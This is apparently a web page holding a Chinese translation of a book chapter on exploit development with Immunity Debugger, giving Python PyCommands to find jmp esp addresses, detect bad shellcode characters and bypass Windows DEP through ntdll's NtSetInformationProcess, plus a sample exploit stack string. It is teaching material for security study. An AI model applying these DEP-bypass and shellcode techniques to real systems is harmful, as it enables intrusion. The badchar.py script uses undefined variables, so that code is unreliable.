<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                ## 5.3 Exploit 開發 發現漏洞只是一個開始,在你完成利用程序之前,還有很長的一段路要走。不 過 Immunity 專門為了這項任務做了許多專門的設計,相信能幫你減少不少的痛苦。接下來我 們要開發一些 PyCommands 以加速 exploit 的開發。這些 PyCommands 要完成的功能包括, 找到特定的指令將執行權限轉移到 shellcode,當編碼 shellcode 的時候判斷是否有需要過濾 的有害字符。我們還將用 PyCommand 命令!findantidep 繞過 DEP(軟件執行保護)。 ### 5.3.1 找出友好的利用指令 在獲得 EIP 的控制權之后,你就要將執行權限轉移到 shellcode。典型的方式就是,你用 一個寄存器指向你的 shellcode。你的工作就是在可執行的代碼里或者在加載的模塊里找到跳 轉到寄存器的代碼。 Immunity 提供的搜索接口使這項工作變得很簡單,它將貫穿整個程序 尋找需要的代碼。接下來就試驗下。 ``` # findinstruction.py from immlib import * def main(args): imm = Debugger() search_code = " ".join(args) search_bytes = imm.Assemble( search_code ) search_results = imm.Search( search_bytes ) for hit in search_results: # Retrieve the memory page where this hit exists # and make sure it's executable code_page = imm.getMemoryPagebyAddress( hit ) access = code_page.getAccess( human = True ) if "execute" in access.lower(): imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ), address = hit ) return "[*] Finished searching for instructions, check the Log window." ``` 我們先轉化要搜索的代碼(記得內存中可是沒有匯編指令的 ),然后通過 Search()方法 在整個程序的內存空間中包含這個指令的地址。在返回的地址列表中,找到每個地址所屬的 頁。接著確認頁面是可執行的。每找到一個符合上面條件的就打印到記錄窗口。在調試器的 命令欄里執行如下格式的命令。 ``` !findinstruction <instruction to search for> ``` 腳本運行后輸入以下測試參數, ``` !findinstruction jmp esp ``` 輸出將類似圖 5-2 ![image](https://box.kancloud.cn/2016-03-11_56e2361a21a6e.gif) 圖 5-2 !findinstruction PyCommand 的輸出 現在我們已經有了一個地址列表,這些地址都能使我們的 shellcode 運行起來(前提你 的 shellcode 地址放在 ESP 中)。每個利用程序都有些許差別,但我們現在已經有了一個能夠 快輸尋找指令地址的工具,很好很強大。 ### 5.3.2 過濾有害字符 當你發送一段漏洞利用代碼到目標系統,由于字符的關系,shellcode 也許沒辦法執行。 舉個例子,如果我們從一個 strcpy()調用中發現了緩沖區溢出,我們的利用代碼就不能包含 NULL 字 符(0x00).因 為 strcpy() 一 遇到 NULL 字 符就會停止拷貝數據。因此,就需要 將 shellcode 編碼,在目標內存執行后再解碼。然而,始終有各種原因導致 exploit 編寫失敗。比如程序中有多重的字符編碼,或者被漏洞程序進行了各種意想不 到的處理,這下你就得哭了。 一般情況下,如果你獲得了 EIP 的控制權限,然后 shellcode 拋出訪問為例或者 crash 目 標,接著完成自己的偉大使命(反彈后門,轉到另一個進程繼續破壞,別的你能想得到的臟 活累活)。在這之前,最重要的事就是確認 shellcode 被準確的復制到內存。Immunity 使 的這項工作更容易。圖 5-3 顯示了溢出之后的堆棧。 ![image](https://box.kancloud.cn/2016-03-11_56e2361a452b1.gif) Figure 5-3: 溢出之后 Immunity 棧窗口 如你所見,EIP 當前的值和 ESP 的一樣。4 個字節的 0xCC 將使調試器簡單的停止工作, 就像設置了在這里設置了斷點( 0xCC 和 INT3 的指令一樣)。緊接著 4 個 INT3 指令,在 ESP+0x4 是 shellcode 的開始。我們將 shellcode 進行簡單的 ASCII 編碼,然后一個字節一個 字節的比較內存中的 shellcode 和我們發送 shellcode 有無差別,如果有一個字符不一樣,說 明它沒有通過軟件的過濾。在之后的攻擊總就必須將這個有害的字符加入 shellcode 編碼中。 你能夠從 CANVAS,Metasploit,或者你自己的制造的 shellcode。新建 badchar.py 文件, 輸入以下代碼。 ``` #badchar.py from immlib import * def main(args): imm = Debugger() bad_char_found = False # First argument is the address to begin our search address = int(args[0],16) # Shellcode to verify shellcode = "<<COPY AND PASTE YOUR SHELLCODE HERE>>" shellcode_length = len(shellcode) debug_shellcode = imm.readMemory( address, shellcode_length ) debug_shellcode = debug_shellcode.encode("HEX") imm.log("Address: 0x%08x" % address) imm.log("Shellcode Length : %d" % length) imm.log("Attack Shellcode: %s" % canvas_shellcode[:512]) imm.log("In Memory Shellcode: %s" % id_shellcode[:512]) # Begin a byte-by-byte comparison of the two shellcode buffers count = 0 while count <= shellcode_length: if debug_shellcode[count] != shellcode[count]: imm.log("Bad Char Detected at offset %d" % count) bad_char_found = True break count += 1 if bad_char_found: imm.log("[***** | |] ") imm.log("Bad character found: %s" % debug_shellcode[count]) imm.log("Bad character original: %s" % shellcode[count]) imm.log("[***** | |] ") return "[*] !badchar finished, check Log window." ``` 在這個腳本中,我們只是從 Immunity 庫中調用了 readMemory()函數。剩下的腳本只是 簡單的字符串比較。現在你需要將你的 shellcode 做 ASCII 編碼(如果你有字節 0xEB 0x09, 編碼后后你的字符串將看著像 EB09),將代碼貼入腳本,并且如下運行: ``` !badchar <Address to Begin Search> ``` 在我們前面的例子中,我們將從 ESP+0x4 地址 (0x00AEFD4C) 尋找,所以要在 PyCommand 執行如下命令: ``` !badchar 0x00AEFD4c ``` 我們的腳本在發現危險字符串的時候將立刻發出警戒,由此大大減少花在調試 shellcode 崩潰時間。 ### 5.3.3 繞過 windows 的 DEP DEP 是一種在 windows(XP SP2, 2003, Vista)下實現的的安全保護機制,用來防止代碼 在棧或者堆上執行。這能阻止非常多的漏洞利用代碼運行,因為大多的 exploit 都會把 shellcode 放在堆棧上。然而有一個技巧能巧妙的繞過 DEP,利用微軟未公布的 API 函數 NtSetInformationProcess()。它能夠阻止進程的 DEP 保護,將程序的執行權限轉移到 shellcode。 Immunity 調試器提供了一個 PyCommand 命令 findantidep.py 能夠很容易找到 DEP 的地址。讓我們看一看這個 very very nice 的函數。 ``` NTSTATUS NtSetInformationProcess( IN HANDLE hProcessHandle, IN PROCESS_INFORMATION_CLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); ``` 為了使進程的 DEP 保護失效,需要將 NtSetInformationProcess()的 ProcessInformationClass 函數設置成 ProcessExecuteFlags (0x22),將 ProcessInformation 參數 設置 MEM_EXECUTE_OPTION_ENABLE (0x2)。問題是在 shellcode 中調用這個函數將會出 現 NULL 字符。解決的方法是找到一個正常調用了 NtSetInformationProcess()的函數,再將 我們的 shellcode 拷貝到這個函數里。已經有一個已知的點就在 ntdll.dll 里。使用 Immunity 反匯編 ntdll.dll 找出這個地址。 ``` 7C91D3F8 . 3C 01 CMP AL,1 7C91D3FA . 6A 02 PUSH 2 7C91D3FC . 5E POP ESI 7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA ... 7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI 7C93FEBD .^E9 41D5FDFF JMP ntdll.7C91D403 ... 7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0 7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D ... 7C935D6D > 6A 04 PUSH 4 7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 7C935D72 . 50 PUSH EAX 7C935D73 . 6A 22 PUSH 22 7C935D75 . 6A FF PUSH -1 7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess ``` 上面的代碼就是調用 NtSetInformationProces 的必要過程。首先比較 AL 和 1,把 2 彈入 ESI,緊接著是條件跳轉到 0x7C93FEBA。在這里將 ESI 拷貝進棧 EBP-4(記得 ESI 始終是 2)。接著非條件跳轉到 7C91D403。在這里將確認堆棧 EBP-4 的值非零。非零則跳轉 到 0x7C935D6D。從這里開始變得有趣,4 被第一個壓入棧,EBP-4(始終是 2!)被加載進 EAX, 然后壓入棧,接著 0x22 被壓入,最后-1 被壓入(-1 表示禁止當前進程的 DEP)。剩下調用 ZwSetInformationProcess(NtSetInformationProcess 的別稱)。上面的代碼完成的功能相當于 下面的函數調用: ``` NtSetInformationProcess( -1, 0x22, 0x2, 0x4 ) ``` Perfect!這樣進程的 DEP 就被取消了。在這之前有兩項是必須注意的。第一 exploit 代 碼得和地址 0x7C91D3F8 結合。第二執行到 0x7C91D3F8 之前,確保 AL 設置成 1.一旦滿 足了這些條件,我們就能通過 JMP ESP 將控制權轉移給我們的 shellcode。現在回顧三個必 須的地址: 一個地址將 AL 設置成 1 然后返回。 一個地址作為一連串反 DEP 代碼的首地址。 一個地址將執行權限返回到我們 shellcode 在平常你需要手工的獲取這些地址,不過 Immunity 提供了 findantidep.py 輔助我們完成 這項 。最后你將得到一個 exploit 字符串,將它與你自己的 exploit 結合,就能夠使用了。接 下來看看 findantidep.py 代碼,接下來將會使用它進行測試。 ``` # findantidep.py import immlib import immutils def tAddr(addr): buf = immutils.int2str32_swapped(addr) return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]) , ord(buf[1]), ord(buf[2]), ord(buf[3]) ) DESC="""Find address to bypass software DEP""" def main(args): imm=immlib.Debugger() addylist = [] mod = imm.getModule("ntdll.dll") if not mod: return "Error: Ntdll.dll not found!" # Finding the First ADDRESS ret = imm.searchCommands("MOV AL,1\nRET") if not ret: return "Error: Sorry, the first addy cannot be found" for a in ret: addylist.append( "0x%08x: %s" % (a[0], a[2]) ) ret = imm.comboBox("Please, choose the First Address [sets AL to 1]", addylist) firstaddy = int(ret[0:10], 16) imm.Log("First Address: 0x%08x" % firstaddy, address = firstaddy) # Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(), "CMP AL,0x1\n PUSH 0x2\n POP ESI\n" ) if not ret: return "Error: Sorry, the second addy cannot be found" secondaddy = ret[0][0] imm.Log( "Second Address %x" % secondaddy , address= secondaddy ) # Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm code to search for") ret = imm.searchCommands(ret) if not ret: return "Error: Sorry, the third address cannot be found" addylist = [] for a in ret: addylist.append( "0x%08x: %s" % (a[0], a[2]) ) ret = imm.comboBox("Please, choose the Third return Address [jumps to shellcode]", addylist) thirdaddy = int(ret[0:10], 16) imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy ) imm.Log( 'stack = "%s\\xff\\xff\\xff\\xff%s\\xff\\xff\\xff\\xff" + "A" * 0x54 + "%s" + shellcode ' %\ ( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) ) ``` 首先尋找指令"MOV AL,1\nRET",然后在地址列表中選擇一個。接著在 ntdll.dll 里搜索反 DEP 代碼。第三步尋找將執行權限轉移給 shellcode 的代碼,這個代碼有用戶輸入,最后在 結果中挑一個。結果答應在 Log 窗口。圖 5-4 到 5-6 就是整個流程。 ![image](https://box.kancloud.cn/2016-03-11_56e2361a5b6e8.gif) Figure 5-4: 第一步,選擇一個地址,并設置 AL 為 1 ![image](https://box.kancloud.cn/2016-03-11_56e2361a6b0a7.gif) Figure 5-5:輸入需要搜索的指令 ![image](https://box.kancloud.cn/2016-03-11_56e2361a79c87.gif) Figure 5-6: 選擇一個返回地址 最后看到的輸出 i 結果如下: ``` stack = "\x75\x24\x01\x01\xff\xff\xff\xff\x56\x31\x91\x7c\xff\xff\xff\xff" + "A" * 0x54 + "\x75\x24\x01\x01" + shellcode ``` 將生成的代碼和你的 shellcdoe 組合之后,你就能將 exploit 移植到具有反 DEP 的系統。 現在只要用簡單的 Python 腳本就能在很短的時間內開發出穩定的 exploit,再也不用花幾個 小時苦苦尋找地址,最后花 30 秒試驗。接下來學習如何用 immlib 繞過病毒的一般的反調試 機制。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看